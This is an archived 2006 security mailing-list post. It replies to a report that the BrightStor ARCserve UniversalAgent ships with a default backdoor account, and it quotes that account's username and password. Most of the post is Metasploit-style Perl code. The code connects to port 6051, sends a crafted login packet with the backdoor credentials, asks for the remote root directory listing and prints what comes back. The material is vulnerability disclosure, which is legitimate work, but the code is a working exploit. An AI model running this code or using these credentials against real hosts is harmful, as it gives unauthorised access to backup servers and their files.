From: H D Moore (sflist@digitaloffense.net)
Date: Thu Apr 06 2006 - 02:39:51 EDT
On Wednesday 05 April 2006 00:13, joe@pentester-inc.net wrote:
> The remote host is running UniversalAgent, an agent used by BrightStor
> ARCserve to perform backups.
>
> The remote version of this agent contains a default account
> with the username '\x02root\x03' and password '\x02<%j8U]`~+Ri\x03'.
Use the ARCServe client software to connect and paste in that password, or
try the following code:
sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = 6051;
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' .
$s->GetError);
return $self->CheckCode('Connect');
}
# user: \x02root\x03
# pass: \x02<%j8U]`~+Ri\x03
my $login =
"\x00\x00\x00\x00\x03\x20\xa8\x02".
("\x00" x 176).
"\xbb\xec\x6e\x58\xc9\xf0\xc2\x0a".
"\xc3\x2d\x15\x6f\xa7\x39\xea\xa1".
"\xc3\x2d\x15\x6f\xa7\x39\xea\xa1".
"\xc3\x2d\x15\x6f\xa7\x39\xea\xa1".
"\xc3\x2d\x15\x6f\xa7\x39\xea\xa1".
"\xc3\x2d\x15\x6f\xa7\x39\xea\xa1".
"\xd0\xc1\x9e\x8c\xe6\x5e\x18\xbd".
"\xed\xf8\xe0\xa7\x8a\xcd\x16\xb6".
"\xc3\x2d\x15\x6f\xa7\x39\xea\xa1".
"\x00\x00\x00\x0e\x00\x00\x00\x01".
("\x00" x 160).
"\x00\x00\x00\x00\x00\x00\x00\x01".
("\x00" x 248).
"\x00\x00\x00\x00\x00\x00\x17\x00";
$s->Send($login);
$s->Recv(8, 2);
my $dumproot =
"\xff\xff\x0f\x17\x04\x10\x00\x02"."/"."\x00";
$s->Send($dumproot);
$s->Recv(8, 2);
my $res = $s->Recv(-1, 5);
$s->Close;
if (index($res, "etc") != -1) {
$self->PrintLine("[*] The BrightStor Agent backdoor
account is active");
print "[DATA]\n".Pex::Text::BufferPerl($res)."\n";
$res =~ s/[\x00-\0x1f]/ /g;
print "[RAWD]\n".$res."\n";
return $self->CheckCode('Confirmed');
}
return $self->CheckCode('Unknown');
}
-HD
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